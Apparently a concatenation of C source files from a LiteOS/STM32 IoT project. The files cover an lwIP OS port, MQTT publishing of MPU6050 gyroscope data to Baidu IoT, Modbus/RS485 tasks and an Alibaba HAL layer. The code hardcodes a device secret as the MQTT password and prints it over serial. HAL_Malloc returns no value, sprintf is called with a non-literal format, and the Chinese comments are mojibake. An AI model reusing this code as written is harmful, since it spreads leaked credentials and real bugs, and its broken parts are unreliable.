* Routine: sys_arch_mbox_tryfetch
*---------------------------------------------------------------------------*
* Description:
* Similar to sys_arch_mbox_fetch, but if message is not ready
* immediately, we'll return with SYS_MBOX_EMPTY. On success, 0 is
* returned.
* Inputs:
* sys_mbox_t mbox -- Handle of mailbox
* void **msg -- Pointer to pointer to msg received
* Outputs:
* u32_t -- SYS_MBOX_EMPTY if no messages. Otherwise,
* return ERR_OK.
*---------------------------------------------------------------------------*/
u32_t sys_arch_mbox_tryfetch( sys_mbox_t *q, void **data )
{
u32_t ret;
/* parameter check */
LWIP_ASSERT("q != NULL", q != NULL);
LWIP_ASSERT("data != NULL", data != NULL);
if(LOS_QueueRead(*q, data, sizeof(void *), 0UL) == LOS_OK)
{
ret = ERR_OK;
}
else
{
ret = SYS_MBOX_EMPTY;
}
return ret;
}
/*---------------------------------------------------------------------------*
* Routine: sys_thread_new
*---------------------------------------------------------------------------*
* Description:
* Starts a new thread with priority "prio" that will begin its
* execution in the function "thread()". The "arg" argument will be
* passed as an argument to the thread() function. The id of the new
* thread is returned. Both the id and the priority are system
* dependent.
* Inputs:
* char *name -- Name of thread
* lwip_thread_fn function -- Pointer to function to run.
* void *arg -- Argument passed into function
* int stacksize -- Required stack amount in bytes
* int prio -- Thread priority
* Outputs:
* sys_thread_t -- Pointer to per-thread timeouts.
*---------------------------------------------------------------------------*/
sys_thread_t sys_thread_new(const char *name, lwip_thread_fn function, void *arg, int stacksize, int prio)
{
UINT32 task_id = 0;
TSK_INIT_PARAM_S stInitParam;
stInitParam.pfnTaskEntry = (TSK_ENTRY_FUNC)function;
stInitParam.usTaskPrio = prio;
stInitParam.pcName = (CHAR *)name;
stInitParam.auwArgs[0] = (UINT32)arg;
stInitParam.uwStackSize = stacksize;
stInitParam.uwResved = LOS_TASK_STATUS_DETACHED;
if (LOS_TaskCreate(&task_id, &stInitParam) != LOS_OK)
{
return 0;
}
return task_id;
}
/*---------------------------------------------------------------------------*
* Routine: sys_arch_protect
*---------------------------------------------------------------------------*
* Description:
* This optional function does a "fast" critical region protection and
* returns the previous protection level. This function is only called
* during very short critical regions. An embedded system which supports
* ISR-based drivers might want to implement this function by disabling
* interrupts. Task-based systems might want to implement this by using
* a mutex or disabling tasking. This function should support recursive
* calls from the same task or interrupt. In other words,
* sys_arch_protect() could be called while already protected. In
* that case the return value indicates that it is already protected.
*
* sys_arch_protect() is only required if your port is supporting an
* operating system.
* Outputs:
* sys_prot_t -- Previous protection level (not used here)
*---------------------------------------------------------------------------*/
sys_prot_t sys_arch_protect( void )
{
return (sys_prot_t)LOS_IntLock();
}
/*---------------------------------------------------------------------------*
* Routine: sys_arch_unprotect
*---------------------------------------------------------------------------*
* Description:
* This optional function does a "fast" set of critical region
* protection to the value specified by pval. See the documentation for
* sys_arch_protect() for more information. This function is only
* required if your port is supporting an operating system.
* Inputs:
* sys_prot_t -- Previous protection level (not used here)
*---------------------------------------------------------------------------*/
void sys_arch_unprotect(sys_prot_t value)
{
LOS_IntRestore(value);
}
#endif /* !NO_SYS */
```
main.c
```/*
* ๅบไบ็พๅบฆไบ+MPU6050
* ๅซๆๅคฉ็บฟๅงฟๆ็ๆตๅบ็จ
* MQTT+LWIPไปฃ็ ๅ่
* https://github.com/LiteOS/LiteOS_Connect_to_3rd_Cloud/tree/master/liteos_to_alicloud/liteos_alicloud_ๆบๆ
งๅไธ็คบ่ๅบ็จ
*/
/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
//--//
#include "cmsis_os.h"
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
#include "includes.h"
#include "lwipopts/netconf.h"
//--//
#include "iot_import.h"
#include "iot_export.h"
#include "los_mux.h"
//--//
#include "MQTTPacket.h"
#include "MQTTConnect.h"
#include "MPU6050.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle;
#define PRODUCT_KEY "liteos"
#define DEVICE_NAME "imu"
#define DEVICE_SECRET "WVpwvt1cnfSvJ2yZzvXls+lnnwZf37Vxv8esxU6kXlk="
#define IOT_TOPIC_MPU_POST "mpu"
#define IOT_TOPIC_MPU_POSTRSP "mpu"
#define IOT_TOPIC_MPU_SET "mpu"
#define MSG_LEN_MAX (1024)
//--//
UINT32 SendCount = 0;
void *pclient;
iotx_conn_info_pt pconn_info;
iotx_mqtt_param_t mqtt_params;
iotx_mqtt_topic_info_t topic_msg;
char msg_pub[512];
char *msg_buf = NULL, *msg_readbuf = NULL;
char param[256];
uint8_t DeviceState = 1;
float g_X = 0;
float g_Y = 0;
float g_Z = 0;
/* Private function prototypes -----------------------------------------------*/
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DelayInit(SystemCoreClock);
//ไธฒๅฃ้
็ฝฎ
//MODBUSRTU_UART_Init();
//ไปฅๅคช็ฝ้
็ฝฎ
ETH_BSP_Config();
}
//----------------------------//
//่ฎพๅค็ถๆ
void ReadMPUTask(void)
{
int ret = 0;
short Acel[3];
short Gyro[3];
float Temp;
//ๅๅงๅ I2C
I2cMaster_Init();
printf("\r\n ่ฏปๅI2Cๅค่ฎพ(MPU6050)่ฏปๅ \r\n");
//MPU6050ๅๅงๅ
MPU6050_Init();
//ๆฃๆตMPU6050
if (MPU6050ReadID() == 1)
{
while(1)
{
//่ฏปๅ่ฎพๅคๆฐๆฎ
MPU6050ReadAcc(Acel);
printf("ๅ ้ๅบฆ๏ผ%8d%8d%8d",Acel[0],Acel[1],Acel[2]);
MPU6050ReadGyro(Gyro);
printf("้่บไปช%8d%8d%8d",Gyro[0],Gyro[1],Gyro[2]);
MPU6050_ReturnTemp(&Temp);
printf("==ๆธฉๅบฆ==%8.2f\r\n",Temp);
g_X = Gyro[0];
g_Y = Gyro[1];
g_Z = Gyro[2];
LOS_TaskDelay(500);
}
}
}
//่ฎข้
ๅ้ฆ
static void mqtt_message_arrive(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg)
{
iotx_mqtt_topic_info_pt ptopic_info = (iotx_mqtt_topic_info_pt) msg->msg;
// print topic name and topic message
printf("----\r\n");
printf("Topic: '%.*s' (Length: %d)\r\n",
ptopic_info->topic_len,
ptopic_info->ptopic,
ptopic_info->topic_len);
printf("Payload: '%.*s' (Length: %d)\r\n",
ptopic_info->payload_len,
ptopic_info->payload,
ptopic_info->payload_len);
printf("----\r\n");
}
//MQTT็ถๆ
void mqtt_event_handle(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg)
{
uintptr_t packet_id = (uintptr_t)msg->msg;
iotx_mqtt_topic_info_pt topic_info = (iotx_mqtt_topic_info_pt)msg->msg;
switch (msg->event_type) {
case IOTX_MQTT_EVENT_UNDEF:
printf("undefined event occur.\r\n");
break;
case IOTX_MQTT_EVENT_DISCONNECT:
printf("MQTT disconnect.\r\n");
//่ฟๆฅๆญๅผ๏ผ้็ฅๅฏนๅบ็จๅบ้่ฟ
DeviceState = 1;
break;
case IOTX_MQTT_EVENT_RECONNECT:
printf("MQTT reconnect.\r\n");
break;
case IOTX_MQTT_EVENT_SUBCRIBE_SUCCESS:
printf("subscribe success, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_SUBCRIBE_TIMEOUT:
printf("subscribe wait ack timeout, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_SUBCRIBE_NACK:
printf("subscribe nack, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_UNSUBCRIBE_SUCCESS:
printf("unsubscribe success, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_UNSUBCRIBE_TIMEOUT:
printf("unsubscribe timeout, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_UNSUBCRIBE_NACK:
printf("unsubscribe nack, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_SUCCESS:
printf("publish success, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_TIMEOUT:
printf("publish timeout, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_NACK:
printf("publish nack, packet-id=%u\r\n", (unsigned int)packet_id);
break;
case IOTX_MQTT_EVENT_PUBLISH_RECVEIVED:
printf("topic message arrived but without any related handle: topic=%.*s, topic_msg=%.*s\r\n",
topic_info->topic_len,
topic_info->ptopic,
topic_info->payload_len,
topic_info->payload);
break;
case IOTX_MQTT_EVENT_BUFFER_OVERFLOW:
printf("buffer overflow, %s\r\n", (char *)msg->msg);
break;
default:
printf("Should NOT arrive here.\r\n");
break;
}
}
//----------------------------------//
void MQTTBaiduTask(void)
{
int rc = 0;
if (NULL == (msg_buf = (char *)LOS_MemAlloc((VOID *)OS_SYS_MEM_ADDR,MSG_LEN_MAX))) {
printf("not enough memory\r\n");
goto do_exit;
}
if (NULL == (msg_readbuf = (char *)LOS_MemAlloc((VOID *)OS_SYS_MEM_ADDR,MSG_LEN_MAX))) {
printf("not enough memory\r\n");
goto do_exit;
}
/* Device AUTH */
if (0 != IOT_SetupConnInfo(PRODUCT_KEY, DEVICE_NAME, DEVICE_SECRET, (void **)&pconn_info)) {
printf("AUTH request failed!\r\n");
goto do_exit;
}
memset(&mqtt_params, 0x0, sizeof(mqtt_params));
mqtt_params.port = 1883;
mqtt_params.host = "liteos.mqtt.iot.gz.baidubce.com";
mqtt_params.client_id = "649cf54c800542";
mqtt_params.username = "liteos/imu";
mqtt_params.password = "WVpwvt1cnfSvJ2yZzvXls+lnnwZf37Vxv8esxU6kXlk=";
mqtt_params.pub_key = NULL; //็ด่ฟ
mqtt_params.request_timeout_ms = 2000;
mqtt_params.clean_session = 0;
mqtt_params.keepalive_interval_ms = 60000;
mqtt_params.pread_buf = msg_readbuf;
mqtt_params.read_buf_size = MSG_LEN_MAX;
mqtt_params.pwrite_buf = msg_buf;
mqtt_params.write_buf_size = MSG_LEN_MAX;
mqtt_params.handle_event.h_fp = mqtt_event_handle;
mqtt_params.handle_event.pcontext = NULL;
printf("-----host=%s port=%d\r\n",mqtt_params.host,mqtt_params.port);
printf("-----username=%s password=%s\r\n",mqtt_params.username,mqtt_params.password);
//--//
while(1)
{
//MQTT้พๆฅ
if(DeviceState==1)
{
LOS_TaskDelay(1000);
if(pclient!=NULL)
{
printf("MQTT_Destroy!!!\r\n");
IOT_MQTT_Unsubscribe(pclient, IOT_TOPIC_MPU_POSTRSP);
LOS_TaskDelay(200);
IOT_MQTT_Destroy(&pclient);
}
pclient = IOT_MQTT_Construct(&mqtt_params);
if (NULL == pclient)
{
printf("MQTT construct failed\r\n");
}
else
{
DeviceState=2;
printf("MQTT construct succeed\r\n");
}
}
else if(DeviceState==2)
{
//Initialize topic information
memset(&topic_msg, 0x0, sizeof(iotx_mqtt_topic_info_t));
topic_msg.qos = IOTX_MQTT_QOS1;
topic_msg.retain = 0;
topic_msg.dup = 0;
//read sensor data
memset(param, 0, sizeof(param));
memset(msg_pub, 0, sizeof(msg_pub));
sprintf(param, "{\"X\":%3.1f,\"Y\":%3.1f,\"Z\":%3.1f}",g_X,g_Y,g_Z);
int msg_len = sprintf(msg_pub, param);
if (msg_len < 0) {
printf("Error occur! Exit program\r\n");
break;
}
printf("IOT_MQTT_Publish\r\n");
topic_msg.payload = (void *)msg_pub;
topic_msg.payload_len = msg_len;
rc = IOT_MQTT_Publish(pclient, IOT_TOPIC_MPU_POST, &topic_msg);
if (rc < 0) {
printf("error occur when publish. %d\r\n", rc);
IOT_MQTT_Unsubscribe(pclient, IOT_TOPIC_MPU_POSTRSP);
LOS_TaskDelay(200);
IOT_MQTT_Destroy(&pclient);
pclient = NULL;
DeviceState = 1; //้ๆฐ่ฟๆฅ
//continue;
}
printf("packet-id=%u, publish topic msg=%s\r\n", (uint32_t)rc, msg_pub);
IOT_MQTT_Yield(pclient, 200);
LOS_TaskDelay(500); ///0.5็งไธไผ ไธๆฌกๆฐๆฎ
}
LOS_TaskDelay(20);
}
//----------------------------------------//
IOT_MQTT_Unsubscribe(pclient, IOT_TOPIC_MPU_POSTRSP);
LOS_TaskDelay(200);
IOT_MQTT_Destroy(&pclient);
do_exit:
DeviceState = 4;
if (NULL != msg_buf)
{
LOS_MemFree((VOID *)OS_SYS_MEM_ADDR,msg_buf);
}
if (NULL != msg_readbuf)
{
LOS_MemFree((VOID *)OS_SYS_MEM_ADDR,msg_readbuf);
}
}
//-----------------------------------------------------------------------------
//ๅๅปบ่ฎพๅคไปปๅก
UINT32 Create_ReadMPUTask()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "ReadMPUTask";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)ReadMPUTask;
task_init_param.uwStackSize =0x1000;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
#ifdef USE_DHCP
UINT32 Create_DHCPTask()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "DHCP";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
#endif
//ๅๅปบๅ้ๆฐๆฎไปปๅก
UINT32 Create_MQTTBaiduTask()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "MQTTBaiduTask";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)MQTTBaiduTask;
task_init_param.uwStackSize =0x1000;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
//======================================================================
//ไธปๅฝๆฐ
//======================================================================
int main(void)
{
UINT32 uwRet = LOS_OK;
//ๅ
ๆ ธๅๅงๅ
LOS_KernelInit();
//็กฌไปถๅๅงๅ
hardware_init();
printf("-------------- LiteOS + Baidu IOT ---------------\r\n");
//Initilaize the LwIP stack
LwIP_Init();
//่ฎพๅค็ถๆ+MQTTๅ้ฆไฟกๆฏไปปๅก
uwRet = Create_ReadMPUTask();
if(uwRet != LOS_OK)
{
return uwRet;
}
#ifdef USE_DHCP
//ๅๅปบDHCPไปปๅก
printf("Create DHCP task...\r\n");
uwRet = Create_DHCPTask();
if(uwRet != LOS_OK)
{
return uwRet;
}
#endif
//MQTT
uwRet = Create_MQTTBaiduTask();
if(uwRet != LOS_OK)
{
return uwRet;
}
//ๅฏๅจLiteOS
LOS_Start();
}
```
mqtt_client.h
```/*
* MQTT client for lwIP
* Author: Erik Andersson
* Details of the MQTT protocol can be found at:
http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
*
*/
#ifndef __MQTT_CLIENT_H__
#define __MQTT_CLIENT_H__
void mqtt_client_init(void);
#endif /* __MQTT_CLIENT_H__ */```
options.h
```#ifndef OPTIONS_H
#define OPTIONS_H
#endif /* OPTIONS_H */
```
include.h
```/*
********************************************************************************
* Filename : include.h
* Version : V1.00
* Programmer(s) : miaoyahan
* Time : 20180511
********************************************************************************
*/
#include "cmsis_os.h"
#include "los_event.h"
#include "los_membox.h"
#include "los_hwi.h"
#include "los_mux.ph"
#include "los_queue.ph"
#include "los_sem.ph"
#include "los_swtmr.ph"
#include "los_sys.ph"
#include "los_task.ph"
#include "los_tick.ph"
#include "lwip/mem.h"
#include "lwip/memp.h"
#include "lwip/dhcp.h"
#include "ethernetif.h"
#include "lwipopts/netconf.h"
#include "LAN8742A.h"
#include "tcpip.h"
#include "los_base.h"
#include "sockets.h"
#include "netdb.h"
#include "iot_import.h"
#include "iot_export.h"
#include "los_mux.h"
#include "los_config.h"
#include "los_memory.h"
/*
********************************************************************************
* END
********************************************************************************
*/
```
HAL_OS.c
```/*
* Copyright (c) 2014-2016 Alibaba Group. All rights reserved.
* License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <stdio.h>
#include <stdlib.h>
//#include <stdarg.h>
#include "iot_import.h"
#include "los_config.h"
/** used for OS time - stNowTime */
#include "../user_IAR/modbus.h"
extern TDateTime stNowTime;
#define MUX_NULL_TIAN
#ifdef MUX_NULL_TIAN
//#undef MUX_NULL_TIAN
#endif
MUX_CB_S *HAL_MutexCreate(void)
{
#ifdef MUX_NULL_TIAN
u32_t uMuxId;
u32_t uRet;
uRet = LOS_MuxCreate(&uMuxId);
if(LOS_OK == uRet)
{
return (MUX_CB_S *)GET_MUX(uMuxId);
}
else
{
return NULL;
}
#endif
return NULL;
}
void HAL_MutexDestroy(_IN_ MUX_CB_S *mutex)
{
#ifdef MUX_NULL_TIAN
u32_t uRet;
if (NULL == mutex)
{
return;
}
uRet = LOS_MuxDelete(((MUX_CB_S*)mutex)->ucMuxID);
#endif
}
void HAL_MutexLock(_IN_ MUX_CB_S *mutex)
{
#ifdef MUX_NULL_TIAN
u32_t uRet;
if (NULL == mutex)
{
return;
}
/** LOS_WAIT_FOREVERๆนๅผ็ณ่ฏทไบๆฅ้,่ทๅไธๅฐๆถ็จๅบ้ปๅก๏ผไธไผ่ฟๅ */
uRet = LOS_MuxPend(((MUX_CB_S*)mutex)->ucMuxID, LOS_WAIT_FOREVER);
#endif
}
void HAL_MutexUnlock(_IN_ MUX_CB_S *mutex)
{
#ifdef MUX_NULL_TIAN
u32_t uRet;
if (NULL == mutex)
{
return;
}
uRet = LOS_MuxPost(((MUX_CB_S*)mutex)->ucMuxID);
#endif
}
void *HAL_Malloc(_IN_ uint32_t size)
{
mem_malloc(size);
}
void HAL_Free(_IN_ void *ptr)
{
mem_free(ptr);
}
uint32_t HAL_UptimeMs(void)
{
uint32_t time_ms;
/*(stNowTime.y-18) ๆไธ่่ ๅนด ๆ ๆฅ ็่ฝฌๆข */
time_ms = (stNowTime.h*3600 + stNowTime.min*60 + stNowTime.s) *1000 + stNowTime.ms;
return time_ms;
}
void HAL_SleepMs(_IN_ uint32_t ms)
{
// if ((ms > 0) && (ms < (LOSCFG_BASE_CORE_TICK_PER_SECOND/1000))) {
// ms = (LOSCFG_BASE_CORE_TICK_PER_SECOND/1000);
// }
// LOS_TaskDelay(ms / (LOSCFG_BASE_CORE_TICK_PER_SECOND/1000));
/** because of 1 tick = 1ms */
LOS_TaskDelay(ms);
}
char *HAL_GetPartnerID(char pid_str[])
{
return NULL;
}
```
main.c
```/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
//#include "cmsis_os.h" /** TY ไผๅ
ไฝฟ็จ IAR ่ชๅธฆ็ CMSIS, ่้ไฝฟ็จ $PROJ_DIR$\kernel\compat\cmsis */
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
#include "LAN8742A.h"
#include "netconf.h"
#include "modbus.h"
/* extern variables ----------------------------------------------------------*/
extern __IO UINT8 EthLinkStatus;
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Extern variables ---------------------------------------------------------*/
extern TBuffModbus stBufModbus;
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle; /** TY Record the Task's ID, when create Task...*/
__IO uint32_t LocalTime = 0; /** this variable is used to create a time reference incremented by 10ms */
/** Aliyun MQTT */
__IO u8_t uDeviceStateDHCP = 0; /** ไธบ1ๆถ่กจ็คบ้่ฟ DHCP getๅฐ ip */
__IO u8_t uDeviceStateDNS = 0; /** ไธบ1ๆถ่กจ็คบๅทฒ็ปๅพๅฐ Aliyun MQTT server ็ IP */
extern int mqtt_client(void);
/* Private function prototypes -----------------------------------------------*/
static void TIM3_Config(uint16_t period,uint16_t prescaler);
/* Private functions ---------------------------------------------------------*/
void TIM3_IRQHandler(void);
static void hardware_init(void);
static void software_init(void);
/* Function ------------------------------------------------------------------*/
static void software_init(void)
{
/** Initilaize the LwIP stack */
LwIP_Init();
printf("Initilaize the LwIP stack SUCCESS.\r\n");
/** OS tick ๅฏๅจไนๅไผๆฅ็ฎก ๆจกๆosๆถ้ด TDateTime stNowTime, ่ฟ้ๅ
ๅๅงๅไธๆฌก */
}
static void hardware_init(void)
{
LED_GPIO_Config();
/* ๅๅงๅ่ฐ่ฏไธฒๅฃ๏ผไธ่ฌไธบไธฒๅฃ1; ๅๅงๅ USART2-RS485 */
Debug_USART_Config();
RS485_USART2_Config();
DelayInit(SystemCoreClock);
/** @2018-05-17 ็ฑไบไธ้่ฆ TIM3,ๆไปฅ่ฟ้ไธๅฏๅจ tim3 */
// LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL);
// TIM3_Config(999,899);
// printf("Sysclock is %d\r\n",SystemCoreClock);
/** TY Configure ethernet, such as, ETH_GPIO, ETH_MACDMA... */
ETH_BSP_Config();
printf("LAN8720A BSP INIT AND COMFIGURE SUCCESS.\r\n");
}
/**
* @brief ้็จๅฎๆถๅจ3ไธญๆญๅๅงๅ
* @param period : ่ชๅจ้่ฃ
ๅผใ
* @param prescaler : ๆถ้้ขๅ้ขๆฐ
* @retval ๆ
* @note ๅฎๆถๅจๆบขๅบๆถ้ด่ฎก็ฎๆนๆณ:Tout=((period+1)*(prescaler+1))/Ft us.
* Ft=ๅฎๆถๅจๅทฅไฝ้ข็,ไธบSystemCoreClock/2=90,ๅไฝ:Mhz
*/
static void TIM3_Config(uint16_t period,uint16_t prescaler)
{
TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); ///ไฝฟ่ฝTIM3ๆถ้
TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; //ๅฎๆถๅจๅ้ข
TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; //ๅไธ่ฎกๆฐๆจกๅผ
TIM_TimeBaseInitStructure.TIM_Period=period; //่ชๅจ้่ฃ
่ฝฝๅผ
TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure);
TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); //ๅ
่ฎธๅฎๆถๅจ3ๆดๆฐไธญๆญ
TIM_Cmd(TIM3,ENABLE); //ไฝฟ่ฝๅฎๆถๅจ3
NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; //ๅฎๆถๅจ3ไธญๆญ
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; //ๆขๅ ไผๅ
็บง1
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; //ๅญไผๅ
็บง3
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
/**
* @brief ๅฎๆถๅจ3ไธญๆญๆๅกๅฝๆฐ
* @param ๆ
* @retval ๆ
*/
void TIM3_IRQHandler(void)
{
if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) //ๆบขๅบไธญๆญ
{
LocalTime+=10; //10msๅข้
}
TIM_ClearITPendingBit(TIM3,TIM_IT_Update); //ๆธ
้คไธญๆญๆ ๅฟไฝ
}
/***/
VOID modbus_task()
{
memset(&stBufModbus, 0, sizeof(TBuffModbus));
/** modbus ๅบๅๅฏนไพง่ฎพๅคๅฐๅ */
stBufModbus.address= MODBUS_ADDRESS_SLAVE;
/** ๅๅปบ modbus ๆถ,ๅ
enable ไธฒๅฃๆฅๆถ */
RS485_RX_ON_TX_OFF;
while(1)
{
LED3_OFF;
LED2_OFF;
LED1_ON;
/** RS485 - Modbus Cycle */
ModbusProc_InTask(&stBufModbus);
LOS_TaskDelay(2000); // Printf Per 2s
}
}
/**
* ไฝ็จ: 1.) ้่ฟ rs485 ๆฅๆถไปๆบไธ้็ '็ตๅจๆบ' ็ถๆไฟกๆฏ
* 1.1) ็ตๆบ่ฟ่ก็ถๆ: ๅๆบ, ่ฟ่ก 2 Byte
*/
UINT32 create_Modbus_Task()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 5;
task_init_param.pcName = "Modbus_Task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)modbus_task;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
UINT32 create_MQTT_client_task()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 4;
task_init_param.pcName = "mqtt_client_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client;
task_init_param.uwStackSize = 0x1400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
/** Crate DHCP Task, Call Lwip's netconf.c */
UINT32 create_DHCP_task()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 3;
task_init_param.pcName = "DHCP_task";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task;
task_init_param.uwStackSize = 0x640;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
/* Entry - main() */
int main(void)
{
UINT32 uwRet = LOS_OK;
LOS_KernelInit(); //ๅ
ๆ ธๅๅงๅ
hardware_init(); //็กฌไปถๅๅงๅ
software_init();
uwRet = create_DHCP_task(); /** 1. first created DHCP task */
if(uwRet != LOS_OK)
{
return uwRet;
}
uwRet = create_Modbus_Task();
if(uwRet != LOS_OK)
{
return uwRet;
}
uwRet = create_MQTT_client_task();
if(uwRet != LOS_OK)
{
return uwRet;
}
LOS_Start(); //ๅฏๅจLiteOS
}
```
lwip_comm.c
```#include "lwip_comm.h"
#include "netif/etharp.h"
#include "lwip/dhcp.h"
#include "lwip/mem.h"
#include "lwip/memp.h"
#include "lwip/init.h"
#include "ethernetif.h"
#include "lwip/timers.h"
#include "lwip/tcp_impl.h"
#include "lwip/ip_frag.h"
#include "lwip/tcpip.h"
#include "malloc.h"
#include "delay.h"
#include "lb_type.h"
#include "./Bsp/usart/bsp_debug_usart.h"
#include <stdio.h>
/*
*ๅ่ฝ๏ผSTM32F407VET6ไปฅๅคช็ฝๆ ธๅฟๆฟๆต่ฏไปฃ็ ๏ผ่ชๅจ่ทๅIP๏ผๅนถๅปบ็ซๆๅกๅจ๏ผๅฏ้่ฟไธฒๅฃ1ๆๅฐๅฝๅๆฐๆฎไฟกๆฏ
*ๆบๆ๏ผๅฉๅผๅ็ฝ(www.zkaifa.com)
*่ฎบๅ๏ผwww.zkaifa.com/bbs
*ๆทๅฎ๏ผhttp://shop68304486.taobao.com/
*ไฝ่
๏ผliubinkaixin
*ๆถ้ด๏ผ2015-05-30
*ๅฃฐๆ๏ผๅฝๅ็ๆฌไป
ๆไพๆ ธๅฟๆฟๆต่ฏ๏ผไป
ๆไพ็ ็ฉถๅญฆไน ไฝฟ็จ๏ผ่ฅไฝไธบๅไธ็จ้ๅบ็ฐไปปไฝ้่ฏฏ๏ผๆไพๆนไธๆฟๆ
ไปปไฝ่ดฃไปป
*/
__lwip_dev lwipdev; //lwipๆงๅถ็ปๆไฝ
struct netif lwip_netif; //ๅฎไนไธไธชๅ
จๅฑ็็ฝ็ปๆฅๅฃ
extern u32 memp_get_memorysize(void); //ๅจmemp.c้้ขๅฎไน
extern u8_t *memp_memory; //ๅจmemp.c้้ขๅฎไน.
extern u8_t *ram_heap; //ๅจmem.c้้ขๅฎไน.
const INT8U uEthIpBuf[]={192,168,1,101,255,255,255,0,192,168,1,1};
u32 TCPTimer1=0; //TCPๆฅ่ฏข่ฎกๆถๅจ
u32 ARPTimer1=0; //ARPๆฅ่ฏข่ฎกๆถๅจ
u32 lwip_localtime; //lwipๆฌๅฐๆถ้ด่ฎกๆฐๅจ,ๅไฝ:ms
#if LWIP_DHCP
